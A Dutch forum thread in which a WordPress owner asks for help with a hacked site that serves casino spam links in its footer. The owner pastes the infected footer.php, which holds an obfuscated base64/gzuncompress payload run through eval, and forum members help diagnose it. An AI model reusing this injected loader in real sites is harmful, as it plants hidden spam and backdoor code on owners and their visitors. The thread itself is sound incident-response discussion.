[wordpress] gehacked? Rare content in footer

[vandermark]

Vanochtend viel me op dat de footer van mijn site te lang is: veel witruimte onderin. Toen ik via de paginabron elke pagina checkte zag ik de oorzaak:

<div id="j2krfs9bd">
<br>iPhone casinos and iPad casinos are just so much fun to play. <a href="http://onlinecasino-new.com">Glucksspiel</a> with fun and exciting Farm themes! Play this amazing video slot. <br><br>NEW Slot Machines now on our floor!!! Come in and enjoy the best slot machines <a href="http://onlineslots-portal.com">slots online</a> 12 Feb 2013.<br /><br>
Our free online pokies wont cost you a cent.<samp> <a href="http://bestonlinecasino-game.com/">best online casino</a> So, too, when you are in the Canadian market for an online casino, you'll want to</samp><br> Exclusive bonuses at the best <a href="http://livecasinoportal.com">gambling</a> Here are the top <br /> in Australia. <a href="http://onlinepokieselite.com">roulette</a> Play best<br>some good practice on the Beethoven Concerto I'm performing next month, then.<p> <a href="http://onlinepokies-game.com/">online pokies</a> Club Mobile.</p>
The highest jackpots and monthly tournaments.<big> <a href="http://livecasino-action.com">slot games</a> Pokies which are in pubs, clubs and in casinos are different than the online </big><br />
available to play online. <a href="http://onlineroulette-club.com/">online roulette</a> Canada's outstanding online casino reviewer.<br /> Casino.com AU offers a wide range of online pokies for Australian Players <a href="http://newonlineroulette.com">online casinos</a> 28 Mar 2013.
<br>We've compiled the most useful information to <a href="http://newbestonlineslots.com">slot games</a> Three Reel Slot Machine with excellent graphics and sound effects. 'Flash' instant.<br /> <a href="http://australiancasinobrand.com/">australian casino</a> Legal Online Casino in Australia - We explore online gambling laws in Australia

Ik heb de site volledig zelf gemaakt, wordpress is up-to-date. De gebruikte plugins op 2 na ook. Kunnen jullie me vertellen wat de werkwijze is om dit te verhelpen en te voorkomen?

De site is niet relevant

[ Voor 0% gewijzigd door NMe op 14-07-2013 12:56 ]

[Verwijderd]

En welke 2 plugins heb je gebruikt die niet zelfgemaakt zijn?

[vandermark]

Alle plugins zijn niet zelf gemaakt maar via de wordpress site verkregen. Het is een hele lijst:

Add Link to Facebook
Advanced Recent Posts Widget
Akismet
All In One SEO Pack
AVH Extended Categories Widgets
Column-Matic
Contextual Related Posts
Dynamic Widgets
Fast Secure Contact Form
Force Regenerate Thumbnails
Google+ Author Information in Search Results (Free Version)
Google Analyticator
Img Title Removal
Meta Slider
nrelate Related Content
Pinterest Pin It Button For Images
Quick Cache
Recent Posts Slider
Shareaholic | share buttons, analytics, related posts
Simply Exclude
Social Media Widget
WP-Juicebox
WP-Protect
WP Facebook Open Graph protocol
WP Google Fonts
WP SlimStat
WP SlimStat Dashboard Widgets

Ik zag trouwens net dat de lange footer met rare content alleen zichtbaar is voor niet-ingelogde bezoekers. Als ik ingelogd ben zie ik het niet. Betekent wellicht dat de 'malware' al langer aanwezig is .

[enigmafan]

Hier staan wat tips:

Wordpress site gehacked

[Verwijderd]

Waarschijnlijk zit er een rotte plugin in je installatie, aangezien het teveel werk voor mij is om elke plugin te downloaden en te activeren geef ik jou gewoon een tip:
Open je website in een incognito venster/tab(waar reclame aanwezig is), terwijl je in een normale venster elke plugin 1 voor 1 deactiveert, na elke deactivatie ctrl-F5 doen in incognitovenster en zo kom je vanzelf bij een plugin die ads in je footer dumpt.

[vandermark]

Ik heb alle plugins even gedeactiveerd: de reclame in de footer is nog steeds aanwezig, het is dus geen plugin concludeer ik dan... Het zit in de footer, hoe krijg ik dat toch weg?

Edit: Ik zie net dat er een nieuwe beheerder is aangemaakt met beheerder rechten!! Ik haal die weg en wijzig mijn wachtwoord...

[ Voor 26% gewijzigd door vandermark op 14-07-2013 12:02 ]

[spone]

Het kan ook zijn dat via een plugin toegang tot je template verkregen is, en je template zelf aangepast is. Bekende doelwitten zijn dingen als FCKeditor of TinyMCE, andersoortige file upload/edit mechanismes.

[ Voor 8% gewijzigd door spone op 14-07-2013 12:02 ]

[Justin013]

vandermark schreef op zondag 14 juli 2013 @ 11:59:
Ik heb alle plugins even gedeactiveerd: de reclame in de footer is nog steeds aanwezig, het is dus geen plugin concludeer ik dan... Het zit in de footer, hoe krijg ik dat toch weg?

Download even via FTP je index.php, misschien dat een creative cracker je FTP wachtwoord gevonden heeft. In WP kun vast ook de tekst in de footer aanpassen: mogelijk zit hier het euvel.

[Gettow]

Het kan zijn dat een plugin de code van je footer.php (of een ander bestand) eenmalig heeft aangepast door aan het eind de nieuwe div toe te voegen. Bekijk je footer.php eens, en zoek daar naar base64_decode, str_rot13 en gzdeflate. Mogelijk zijn er nog meer manieren om tekst te camoufleren.

[ Voor 4% gewijzigd door Gettow op 14-07-2013 12:07 ]

[vandermark]

Hmm, ik heb even gekeken, ik heb een footer.php en een bfa_footer.php De laatste is van het thema dat ik gebruik: atahualpa

footer.php
<?php $fn_i = array('eNrVOwlz2kjWf4VxpSZmk','0nUOtF6mM92DD5icLABY2','ZSFIeMweJYDnNk8t/3Hd0','tCXASz1Tt7pdJhNTqfvfV','rzWp3v3+T/fzYXvWGw0bw','bI3nU33XxeOGsev0+kv6k','UKB/Zf9dJfXjWzR5NJc7X','/uvw69e71LV58F6/N2+X0','7iZjXPaPuh9Pi0+t2vFD5','xTfhL0W/pxWvPOcKN/gfa','XSxZ+rD/aCfld4Pa4xHAd','/HltWZ32ecyrnJ3f4PC98','eMy+fvu6beYH9ao/a5nXB','BuGWhatDluh38O7u1oxrB','NGngGXFUxrntEKo43Xk9H','T5SKLAOHv+SrTh59oAP/C','pEu8LLJ4zdJ7usPbkma+i','Jc+Xuq1Y+OysnzA+9YArx','1xd9sJr3pAWk8IHGkTo4t','u/db22mVjcdmvLE5KIwJp','+nNeWu13TsMnkll/1C2Zy','6e2WSE8H7rGR0kbrCL0H7','pEkPzBoU/E+sXqnFbgJYO','XN8zXpbF8ujPzRvPWn9ek','JGC4fOr37+j5ekyYTds9P','yKYJyUNGpAWCWJXSeqiV7','CKPdJQv1DOLfEGxvDHubr','h8atye3C+zuH9ssgagrn4','e4QXAfOXsBbnLGnlhzst1','CLN6yoVMJlAomnjkAtDxX','69fdk/N66qi/nt+m52VRW','tgmbdIEpq9O4I3hkTXLK+','IGVoHfdzRu2D0yrcGKSfW','nW6uCyT4XRu10QoguX5Yf','TuI9tHlkBeAxW5VREwadu','QGAE0KbbAFNFD7WaqeCoS','o1VYTr+tQs8QpAkkmsAoC','ggUgNEgaLmeghSALIg2Ir','LzUSi+CTPx3u8goU6RhiS','xilAtNkeKkMUXx7a+gOWF','BRHCU/g1Xm5mbRYP+V0Hr','x9ZPAUikFyDppAky3KKYE','rihCJ4vCtICmoUNYiCQvk','clGWDxVSJX63EON+M9apc','RF6tQkgI51dlKSbS+Tnpu','igJ7JN9rgjyyTFDJYWcC+','Izv5jDHFs6QnGdR8gmqrv','QP19rEeDydYkhHjkAjcnn','V4ShsA4ldMK4KJR0VGFL6','LCU+ufLopQMEUC0k2MsGJ','wyKiMuHSbuWBrTI/mjpGJ','5RS58HJm+5I8wV2PeQEuZ','J7IG2yyEkhJ6V1qRJSiby','xElBYGvS6Zcsiz0H5WF0+','t+bo3CLZ5cK/aFFMv66ki','LoFCmVSKG3AH1sQj655E5','frAjIo6lxCoLxHB1EhJRh','VJcs7ZEtrqS2rw6eZCG8M','hQEfmdIBr7CuKFspWFZEM','CZ02S1ZEBGJJWHlsfRdqs','S1WwjRTybImFcluyaHPIY','7lKem1iI68U39aBjLiOjB','a1Bs64lqyRlpXNsK2XYmZ','FJlXIS0XS65yyj1XxJJfV','LOZj5pFb6yyHtg50S1atg','o7gkphryeod2v26yJiYXW','3ABUNhIWMkCaJAMXzz1H6','FRMh6eIyCpHZbHe8KIgph','herU5Ljz0OGgmaOQnQjXi','ySxMXBEIBpwOUSPYrHo+H','s0I4qrpINJ5NtLFld1w6N','yC9RdPLDKJQlnPKkqCkSc','EbkkhokjCAudVUxBp2AzO','BkGYuFahmowJFOpF4JOjE','iwGOlanDANNb0Wi1EwDe8','tGHOYsK6aSgLnvGlK6Dgd','RQIQKVlLiZHlbi3RaYatm','ZeXlnGfB8IITJI4iamkfM','dIsBn3QJpm1hJBcroBSUW','NZYwgySqZsUYesSqlw2bL','wtTmuimlCJPOTrEYW7FYW','klM28Q5Md5Iu7wkjoXKtS','gD0dS1sikITsrullGtWkj','4FSQwjN70otxex3J73J7I','9Gj6nb2BzZZVklSZjuCxi','olLgo+LWKKLgSJRsJtxqt','Gem/BaEvUFxYsNsSx1TCm','Hz9Vp8XR0JeNgUZYGRcgG','sWXx0k66oKUSCAezfMyfS','ouYZ9uFqBSnYktaD2Yxlj','BtgFQ+goR4p3lLZgyhom6','xXJTmkFsVFFHX8Ry+UImF','U+2RraITE3uuWIfiydkuC','ToqpRksGkrkCzld5fMoYH','c4YOuqqERuSGw9qpIH0n9','dsS4KOrYTsZxqOcsBH5I1','Te1KYywXsjuzBQVZoveKQ','mHOooRZzmlvLXNxF6u7lp','H5nqu4ZhS6scKjpGiXNcB','DTMMxAVZk+WVbMqHPaQeS','NPJo+qMRL/54OyOrC5bOs','oglxPpRmhpKxUaoshIyIm','/k3UO87O9fROVX3AAw/Mm','6pVhK2D2X/1qADio7XhdK','VtfFSDL8GiuNruD6ikoJQ','1rilc7tOCWn8r7M+aUlVR','flo+RUVePmFkURd4vCRvH','Hux3eXOga96qMBLRVVa1z','iPRfQq91kXT9qBBpq7ANx','FUV67oO0Ls+4osTeLlr6E','AqjYPKTHZSEn5iuxYtvSq','rXM+lARiRFa/h5U4nSlFU','XcjEUdXhQFfZXBWSKE6w1','Af3F6quvLNrsdRaLJcU61','flPAcQKuMK8apiWSxvJIV','qpB9d5ObiURA2STRFpqAV','0dvXgYSLRlhWTBa3cidgK','tWh9ot6u3W35JgjCBrRdK','FCrPQFGI8hJkHI8p7UQml','falZtQwpJ5efkVBlMIvoW','Or9z36OJD2fXRpsf66b/V','Kc0uwwlJ21zGaW5IZk46b','JWnN8NfIyK6odEd/FAZm8','ulCTaFjnduH5axc1Me+D3','uJdViuHXcbl9Wpw2ycKq8','w7TxHCrqxY/tk8f1D6lee','tQ+AhujmHRxYr7YhcYeju','mv6qfHa/qNdg9AQzzgY15','sHwi1zy7Rv46Vscivqzrq','NrhzEa3Z6HRPPXnOJOUSR','2VaUs2/IgYoisefFpRU66','H8FFeZyG5f0BOk5jdOeuM','iWyzOq0TjnMtuEF+djdgX','bSjdBvc5ucgS1sDIKLC1o','Dk2RmEq05Np5TWbX7aMfO','rOm8TO2ZHl2mdaFdzn6+u','6zUIs4/5ISVnUoBj1E7Gr','dpZoVsr+5lmSXXDiMpwRv','K8rBH1x5fVcSdYVygs3bN','yFQmXTPplz1YjFVJalURe','rVQ5MuV9fnykHFG/dfpyN','oXE/HWlwjPOyWNEsaIcre','cs2IiO3nfKVC3e0Gxq2p6','Xo5k1th/VAMXaLOefVCsi','zxUU0XPPxPnUX6wmN39JI','EqLFaN4c1M9rtSM+kU5V7','0izwSg+CpHQirVRDHPW9E','7tSpJzOWwaLaiZNQxQ7I5','cqSQMx5Y0SC0qRFMTWAc5','ZYkNoJPwxXNINXY8c6u7C','B3erRiTaI6JTFdkhfWH9o','9f9oyixjDaYVVZ1fp+Uar','dqR94TRvNJUH6tu7QX5dv','70eS/vkR26w6pgR8VXN6c','xXokcScLHCIlaiic+6zoU','3sqVL3m3P1S8xGFXNRPkK','XkclLc3oUbR7gt8nNkL+y','Uhb/hAR19bt3vZpuKhHDa','tOrKiWBkxVYLVYFtf5mpE','neq/z2nHZ/vxqxaiS8cKU','s+uKU2FjoRloMPyKevhsO','Gw0MXtH62V8umFPf2+jfR','aJqckMgyKeKNZVHxO9fc1','JLbk9gNj4cCejnXW9kgIg','qzutosXVdXmp7ZaGcp3bT','rLiassQ3oy85Ur6vYQaUa','GV6VAC7Qz0/iar2D+lIBD','ciscmh0x+1Awjf4WIgkKk','8KSympqBQrd1GjK+0yq5+','Plpfn1+VhSQn8Z37GWcGm','o6lyaBcby6uCkLHaZjXCU','ZvCvFam4uNklyJqQLk+qh','ces2s4YqAad8Oiv22wPuP','nYihuVxhzyh4KMRfhE7nU','BSoiVkTMOiESVsXdRfI+k','kQUl6VuuzRjUJmwTdFvsl','trzbnKjzTt4s9s+5MUOlS','WVdH9wZV6d3vAErF3tXsK','kmU4FtdiHajAHElbIq6/i','+PvCfOlwJQE4O70zaDt+r','161T/6HOrHTgkUgaUOR64','mO2qjrowtXaMs3ZfYdWU+','ym8CWhXK66Ga7DoOzgWOh','86rENIVSZ1tggYSpPgymP','8Err8AOtKC0lQMI58B+D6','iz4FBr/ogMpBhpfxTGJAa','sllMFpmS55/kXIOCiqpZT','TT3Ld2IkXcUKa90csCzGN','Vipm9UkYcALTxDRGmzZxy','TQB6y9oiAsNYInKR/tR9p','U/neojDaN1Syb+5tPpxVP','97PGNOon7wAeSJLb+gqV6','dk16bZ3YuoIz89NWFB0YX','75P1Fuxwjx9MAlm88kw1W','pOA9dudIL2qBPsv2r+/qr','3OX3wNbXzLLf9ELQfG4tx','Ixw1O4lD3cSb/fSX3cvby','TXt/VcNI/3lVUNk6VDYSB','/Auu1l80nY6A17s9fpn39','O7X4dLAMC/qphZvX8/fQB','3U+D2Wg8A2TmW2EYhvkW0','W69ss23k9F82AEydqyz1M','s3Qv7dNcv3YxONd6azcUn','vpEhkgCJBzP+0fwiUN7rB','bJ9EItLpP/9MDplp+PPlc','BOOY34H8detJW4mYuoNYD','p41bCyWpw4RZLbDkfTgJ+','BRpiV+imbTd03w2mQ/iIN','CUYPvn4NYCi1S4n301H7c','TQOhqilbjhqNUNYYgNKIz','udTRqTYBw22wGzaKXf0q+','dZlUBwPEk6DYGzVn7gac4','6bd78G6PdO5k4ZZAHQbLc','YiWTJNcuR7fwL/flX4/H+','CaOFp4yyg9XOKwLuAm9ee','fKfwBdul1RuKjBx+E+qrh','ZkE1D6PprLUaNgcECsZRE','F+eeakBCIMgeFktHZjgaq','WY7js3+uN97xkpR0vyIwD','qP9AtcBs0B6j+xqw3CEZz','tAFv51TSsUeOaWT3TnNlE','sFZufzpvXhn/DH5Y7h3gO','9S77J7Z8DbP+H9xvB1cB9','Mgsk/Uw+z2fif79/DBICR','mMMCFSKtF1WmweSXo24wJ','Ihi12ywwPvxHAwKacdX6Y','PFQy8MINoEIyab6Ba45B5','kP01wKQzT3rigZ9wrA/eI','GLFhRsJC0QoRczAn/o88R','5hZnBOzMRKjTeSYWTBW+9','fWJPX+N77+McThPVQ/vN3','yAGFLFxAO4VaeFyEAh/1M','sK0EXk3TZ22DMINBucAqQ','7FYSLjSiubRs0lzNt1NeO','RvQDHJd9PRREZRueFqMXJ','2rPK/4Z/2tlBMQwrFFBE6','YTN3Jj3tWsXas9+iMlTak','7lH8q5DmBAQwxJjiiQc35','nUOsEs+X0TDqCMHcTqkqC','9bJM+dGJ6lGohKssbV914','6iajbnx5YyneLaFuTHWjw','qWlIFsKsqUgWwqypSBbCr','KtINsKsq0g2zoQK8i2gmw','ryLaCbCvItoLsKMiOguwo','yI6C7CjIjoLsKMiOguwoy','I6C7CrIroLsKsiuguwqyK','6C7CrIroLsKsiuguwpyJ6','C7CnInoLsKcieguwpyJ6C','7CnInoKcUZAzCnJGQc4oy','BkFOaMgZxTkjIKcUZAzCr','KvIPsKsq8g+wqyryD7CrK','vIPsKsq8g+woyFCf6Tug7','U99Z+k7HK8PRdy4Hxkzc+','oXh6fcZfafxCY1PaHxC4x','MaXxQfhcYnXH2ncQiNQ2g','cOowIU+MwNQ5T49COKrSn','Cu2qQvuq0M4qtLcK7a5C+','6vQDivAY0kyTpbibDLyay','8WFsd+h+b62dlkHhzcjyC','NQ1TGqJJqTiFmATsQmCDb','dnv7e/i4x4GHIo+fpSrto','AWrHlX099MxKBkJRURQ8I','kRx8q8Z4GlmsPOT7xQku1','KshOL4tNTEKRDKnZg1q9Z','lSuseDkD9c13njfgR0HcP','3gmVk8Gjcl94x7qhUTEjo','aRdZN2EVYWnwdYKvEg51/','TzmKZ1ulNeDT9hcsPogGr','Yhx2siCgjpxjY7XOax2YI','OsYiMewl9kYy+BYb6opQQ','m2HwajDj3EihgfkurWFUx','qPgx7w0deCjKgqkaTcfB1','NpqTzk3cAZkWXdLPyWrWC','yYJKeEALnZxHRZfYPcoKT','87mDUmoNV9lSsjSt9Z8T/','fe+YdCJYCZoYw6SrCg1oH','32GFYnqJd/KNmT181bjJX','Vdz179LcfpUR1jWDnhiw7','K+8ww4Uu/Go4Xi8I39xk7','HqkE3ufq7A2kAl6AH6+7P','qXey9DP49QbNupIifu0tf','iF9fz7QTrC52nnjEBdJMQ','jEuiEZB//J8S0SPGfjIoF','aBs33oyuPWIIgxOdE4CzG','sjUeo0GyZjIAa3+HKo1tv','kykLnl5GaOCNsQId46Bin','oj89l9piHvUQFEEW7Gn/O','gwaoxCwbjBnhgwpFi4/vo','Qbt0abHtOrt2Bjo/2JQfk','gtdtA8gR0dYSCK/Jtjivf','5zwHVWw3JuOm/BlP1NHOB','Ybzd9Pf2LxpiY7KB6eE8J','QTEcN2cPTFSUWp4hRReNA','qvG5GJyATcr6Rt0HLUGYs','jb7TBkpDdkYqd/i+zAdDY','uJJ0EdFqyA/ALw4iiYjYK','RwuIphLDZW84X25D3+Vt6','bTqRAionJFOT27uoH4+oO','5LfMwlQWWyG00lx1O7fMt','LRQAp/0RCykSGYyQDtfX9','AUrOEMvjpZ8u34Wu34WLf','aeoHIFYQOUIBG9MmpAMF5','PerNmihAiDCNU2cDdt+e9','RS3vUqTnElKkcD2ek04eD','R059NjeQtqf8/PNhEj4u+','3KoMq5txNsG78znrul0FH','VtA/eJX3c1wBbjxnyM3VE','VD2C2yCZG94nQDZqEdCTY','4HxW7MeHKYju/a/KQvUDn','2PK3s2U8x9mynQcSAd03V','Yn/JoJO9b7SKE3kgJ2knE','7tk22YwjkXPzZNnYCg+HT','Pg1Gdmzb/0HdeQk3/d7zT','lHYWUxew+Zgv9HIn1/mGg','0lAZ+DygZ9EKW+6LoUnrB','JY2WBJdkPlUMsC+t/Q+W7','/He6mmIETaR0YmXzxf5/h','5+/q9tYtMYUq0ov7Icknn','VW1n0RoRsjwrN59v+DkP5','3XUE+ys3n7gowWCYKv2CJ','NDjEsCtTtCfPGsB4Zit+T','WLaAYtPuA7l2YyN/UWbEj','wA6496Q9Wppe03vqHou9O','WH4IwfmYGAA6jMabiG6tX','U7B1omXUakxnzQmetB3ys','FzMMOE1ekZ7NITIB0thFg','zB9rnRDoPmcP8bSMbN6XT','2MJlvoVEv/iIitI9JMB3N','J3TqY3vZw7E8eAGJSgl6d','MQW11JGnzMcyoMG25NTUu','+yh/e44adBbWCWndjdfu+','ZDujG6hwCgEcUb8tmMmo3','+CyNDX6TIfWemWKn/hulX','Pa3VDz96Y6myIB3kbFlNu','SVEdJBt44BUVBE9vYrkOt','r3VCJ5Jz5/W+Q/nmXkjLx','MxStMEeY+I/2c6ps2UEln','in9txiQ51l/E+LfMdGvbF','wJO1Wh8GE2CKfjoN1rhu2','H5oQoxSiEVYOf3dgXZkza','4Yqtcd75OsbWC5u3xPbWC','z5cckQ2trNS5+mIOtrhZN','w0neeK2JDHQ44RG8vwGOz','xozFIVJLP4TwMD7BdkCgK','dRNe6C680G14ofvwQjfih','e7EC92KF7oXL3QzXuhuvK','m78abuxpuGSbthx5R9ULi','1sod6u5xoNuhjbUsf2xMz','6gTQQeE61q78i7tN7osex','hujAOlAp2WHSjnHgSkUff','Zw6P1kT1GKFnR4j9mZljp','q3KZxZVO4kdUZ27GjjG16','uA3e9YPrubmpUcYanIeq7','+lYu4ft+PAW7wokn/zHS1','eHz/JZaLJAMg1qvX7FnlJ','2s8fHXb7EaIYPiv+quHcJ','yhEi/VKugV4H8minOdNnr','Xx643jJUY9HM8nRDI/6P9','AziX9o8KrhUuHn4B7IyeB','hvyuiAZ8GTDmwh5JzqLfo','eFraPkGxdszJqDmC1OSSm','jK/RKEfB53k4F9o5SIUVx','9huOo/HDe9na3n7X7Td9r','L9ua/rf6xaus907Xd/hxo','0wz/AuOft2twpTnX3sPPl','na+ctCRDhNHLmTIUBzvTQ','apXyb3KZr6jz3+WmHDMVw','rGYd3+I5r7PadjeiEE9Xn','BOL5COQ+t2V8zpNkkRnbh','ADmn3/eJlOAjPbjFMLIr/','t0n/4FreofWr2O/puWpSn','4jfy0pjsadcPgXXs0eD9t','3getyWgx7Q277zu9Znc4m','s567f+bQsTNoj+SQ4FHq8','8fKEO6nj6DMqH+4R7geEQ','0ekpCIPbEYeAPSNdSa78R','313rZdLVw24iqiWSGbzME','Iu7TqwUz5kYzw6fxSXGXB','zb+DgSZiSFkGBXKHa9zTS','3hyv3npeB+MEcp9L0S2Sf','+SHZb6aMF8v8K53EHqpvX','3BPwJHZl1/nCHr0DKacvR','QHhCxb+JszI/qwMAUldhv','Io8/UDN2vx/20bi14srXg','mbRnPpxNergBhUeAQiR8I','RR0ci5Prb/yQbRHNaDCRK','fGOIAzETMSOe2tpVf+Fp1','QJ4vr7zynt4xERRzT2GEk','tv/HcMtMSIaHSUvkSJLY8','RKd6nyBD21cXyETeGyQlW','a7e4pJ/q0OZLTaQNGpd/J','sJmiqL1Dxy4jnD30xq0X/','0pysXF+lYzM6qIjQuDvRe','N9A4xgGgd77ddqe9Maz1G','w1DrKvZ8Fy9r7ffGry6Ov','fEMuv7/npN/yg8OtzEXor','QJu7Blmp34gwms+dwcb0f','ySw/ICHm1JzlvHScGO+rK','R+PhyYG3VzwmvM2BGbkU7','/uBlv7sC3dfIcnqi0fF5v','LyFi58fozTBsNduPU9zp6','5ag68vgHLQfRvL5KzU7pw','EGsOtcqZK7Kf8uVYZHy2A','FXCVvvMNjHrXrNGUI8azs','psVsrMJzlIPgqRliaANtA','Lkz1fXa+T12s9NpNGno9T','MNR/CQ+TSYNMJRtxt0Gj0','18aetF7CxPIzgqa8u9deN','+D3QhhtjEbr5L3leK2nfA','Vd/I4mfMr4ILn4Dkf6WUF','SfUXH6be1H/yODGkXh29L','MNv6PiF3fsJsWfQDr2fHs','Jm1q+8Mw06ZWfBRIbcGrv','/fdv2J3Cz1+5/kC9KqFYd','q2DOmb6F9+SPwt6pwXUed','uCMd7gXAkWLkyQ9x5djJt','YT2DZY4nv903HUOHekdww','5mb1DiHegCpfwN6hJ5a');$zastk_ol = array('4_decode','base6'); $cggumje = array('gzunco','mpress') ; $xxt = $zastk_ol[1].$zastk_ol[0]; $gaud = $cggumje[0].$cggumje[1];eval($gaud($xxt(implode('', $fn_i)))); ?><?php /* if index.php or another page template (copied from index.php) was not used */
global $bfa_ata, $cols, $left_col, $left_col2, $right_col, $right_col2;
if (!isset($bfa_ata))
list($bfa_ata, $cols, $left_col, $left_col2, $right_col, $right_col2, $bfa_ata['h_blogtitle'], $bfa_ata['h_posttitle']) = bfa_get_options();
?>
</td>
<!-- / Main Column -->

<!-- Right Inner Sidebar -->
<?php if ( $right_col2 == "on" ) { ?>
<td id="right-inner">

<?php if ( !dynamic_sidebar('Right Inner Sidebar') ) : ?>

<div class="widget widget_categories"><div class="widget-title">
<h3><?php _e('Categories','atahualpa'); ?></h3>
</div>
<ul><?php wp_list_categories('show_count=1&title_li='); ?></ul>
</div>

<div class="widget widget_archive"><div class="widget-title">
<h3><?php _e('Archives','atahualpa'); ?></h3>
</div>
<ul><?php wp_get_archives('type=monthly'); ?></ul>
</div>

<div class="widget widget_text"><div class="widget-title">
<h3>A sample text widget</h3></div>
<div class="textwidget">
<p>Etiam pulvinar consectetur dolor sed malesuada. Ut convallis
<a href="http://wordpress.org/">euismod dolor nec</a> pretium. Nunc ut tristique massa. </p>
<p>Nam sodales mi vitae dolor <em>ullamcorper et vulputate enim accumsan</em>.
Morbi orci magna, tincidunt vitae molestie nec, molestie at mi. <strong>Nulla nulla lorem</strong>,
suscipit in posuere in, interdum non magna. </p>
</div>

<?php endif; ?>

</td>
<?php } ?>

<!-- Right Sidebar -->
<?php if ( $right_col == "on" ) { ?>
<td id="right">

<?php if ( !dynamic_sidebar('Right Sidebar') ) : ?>

<!-- Default content here -->
<div class="widget"><div class="widget-title"><h3>Recent Posts</h3></div>
<?php $r = new WP_Query(array(
'showposts' => 20,
'what_to_show' => 'posts',
'nopaging' => 0,
'post_status' => 'publish',
'ignore_sticky_posts' => 1));
if ($r->have_posts()) : ?>
<ul>
<?php while ($r->have_posts()) : $r->the_post(); ?>
<li><a href="<?php the_permalink() ?>"><?php if ( get_the_title() ) the_title(); else the_ID(); ?></a></li>
<?php endwhile; ?>
</ul>
<?php wp_reset_query(); // Restore global post data stomped by the_post().
endif; ?>
</div>

<div id="linkcat-99" class="widget widget_links"><div class="widget-title">
<?php wp_list_bookmarks('category_before=&category_after=&title_before=<h3>&title_after=</h3></div>'); ?>
</div>

<div class="widget"><div class="widget-title">
<h3><?php _e('Meta','atahualpa'); ?></h3>
</div>
<ul>
<?php wp_register(); ?>
<li><?php wp_loginout(); ?></li>
<li><a href="http://wordpress.org/" title="
<?php _e('Powered by WordPress, state-of-the-art semantic personal publishing platform.','atahualpa'); ?>">
<?php _e('WordPress','atahualpa'); ?></a></li>
<?php wp_meta(); ?>
</ul>
</div>

<?php endif; ?>

</td>
<?php } ?>
<!-- / Right Sidebar -->

</tr>
<!-- / Main Body -->
<tr>

<!-- Footer -->
<td id="footer" colspan="<?php echo $cols; ?>">
<?php echo bfa_footer(); ?>
<?php if ($bfa_ata['footer_show_queries'] == "Yes - visible") { ?>
<p>
<?php echo $wpdb->num_queries; ?><?php _e(' queries. ','atahualpa'); ?><?php timer_stop(1); ?><?php _e(' seconds.','atahualpa'); ?>
</p>
<?php } ?>

<?php if ($bfa_ata['footer_show_queries'] == "Yes - in source code") { ?>
<!--
<?php echo $wpdb->num_queries; ?><?php _e(' queries. ','atahualpa'); ?><?php timer_stop(1); ?><?php _e(' seconds.','atahualpa'); ?>
-->
<?php } ?>

<?php wp_footer(); ?>
</td>


</tr>
</table><!-- / layout -->
</div><!-- / container -->
</div><!-- / wrapper -->
<?php bfa_incl('html_inserts_body_bottom'); ?>
</body>
</html>

bfa_footer.php
<?php

function bfa_footer_page_links($matches) {
$page_id = $matches[1];
$page_data = get_page($page_id, ARRAY_A);
$page_title = $page_data['post_title'];
$page_url = get_permalink($page_id);
return '<a href="' . $page_url . '">' . $page_title . '</a>';
}


function bfa_footer() {

global $bfa_ata, $post;
$homeURL = get_home_url();

$footer_content = $bfa_ata['footer_style_content'];

// page links
if ( strpos($footer_content,'%page') !== FALSE ) {
$footer_content = preg_replace_callback("|%page-(.*?)%|","bfa_footer_page_links",$footer_content);
}

// home link
if ( strpos($footer_content,'%home%') !== FALSE ) {
ob_start();
echo '<a href="' . $homeURL . '/">'; bloginfo('name'); echo '</a>';
$footer_home_link = ob_get_contents();
ob_end_clean();
$footer_content = str_replace("%home%", $footer_home_link, $footer_content);
}

// login/logout link
if ( strpos($footer_content,'%loginout%') !== FALSE ) {

ob_start();
wp_loginout();
$loginout_link = ob_get_contents();
ob_end_clean();

if ( $bfa_ata['nofollow'] == "Yes" ) {
$loginout_link = str_replace(' href=', ' rel="nofollow" href=', $loginout_link);
}

$footer_content = str_replace("%loginout%", $loginout_link, $footer_content);
}

// register link
if ( strpos($footer_content,'%register%') !== FALSE ) {

ob_start();
wp_register();
$register_link = ob_get_contents();
ob_end_clean();

$register_link = str_replace( array('<li>', '</li>'), '', $register_link);

if ( $bfa_ata['nofollow'] == "Yes" ) {
$register_link = str_replace(' href=', ' rel="nofollow" href=', $register_link);
}

$footer_content = str_replace("%register%", $register_link, $footer_content);
}

/* LEGACY up to Atahualpa 3.2 admin link and register link were two different tags,
now they're combined into one tag %register% mimicking the wp_register() function */
if ( strpos($footer_content,'%admin%') !== FALSE ) {

ob_start();
wp_register();
$admin_link = ob_get_contents();
ob_end_clean();

$admin_link = str_replace( array('<li>', '</li>'), '', $admin_link);

if ( $bfa_ata['nofollow'] == "Yes" ) {
$admin_link = str_replace(' href=', ' rel="nofollow" href=', $admin_link);
}

$footer_content = str_replace("%admin%", $admin_link, $footer_content);
}

// RSS link
if ( strpos($footer_content,'%rss%') !== FALSE ) {
ob_start();
bloginfo('rss2_url');
$footer_rss2_url = ob_get_contents();
ob_end_clean();
$footer_content = str_replace("%rss%", $footer_rss2_url, $footer_content);
}

// Comments RSS link
if ( strpos($footer_content,'%comments-rss%') !== FALSE ) {
ob_start();
bloginfo('comments_rss2_url');
$footer_comments_rss2_url = ob_get_contents();
ob_end_clean();
$footer_content = str_replace("%comments-rss%", $footer_comments_rss2_url, $footer_content);
}

// Current Year
$footer_content = str_replace("%current-year%", date('Y'), $footer_content);

// Parse widget areas:
$result = bfa_parse_widget_areas( bfa_footer_output($footer_content) );

return $result;

}
?>

[Gettow]

De array lijkt me inderdaad geobfusceerd de inhoud van de footer te bevatten. Er zit verder nog wat logica in die lijkt op het checken op aanwezigheid van admin of iets in die trant. Ik zou eens kijken of je bovenstaande kunt verwijderen uit je template.

De boosdoeners, een combinatie van gzuncompress en base64_decode:
$zastk_ol = array('4_decode','base6'); $cggumje = array('gzunco','mpress') ;

Waar heb je je template vandaan, als ik vragen mag?

[ Voor 19% gewijzigd door Gettow op 14-07-2013 12:40 ]

[ipsec]

Misschien dat je Wordfence kunt installeren en draaien. Deze kan je WP files controleren op juistheid.
Deze zal al je files en plugins scannen en tegen het origineel aanhouden. Zodra hij iets gevonden heeft kan hij het ook fixen voor je.

[dik_voormekaar]

Mijn site is ook een keer gehacked geweest. De host kon zien dat er "gewoon" via mijn beheer account was ingelogd, op tijden die ik zelf niet kon zijn. Vermoedelijk heeft het wachtwoord dat opgeslagen was in filezilla of een andere ftp client achterhaald.
Les: Sla nooit je wachtwoord op bij een ftp client.

[ Voor 7% gewijzigd door dik_voormekaar op 14-07-2013 12:37 ]

[vandermark]

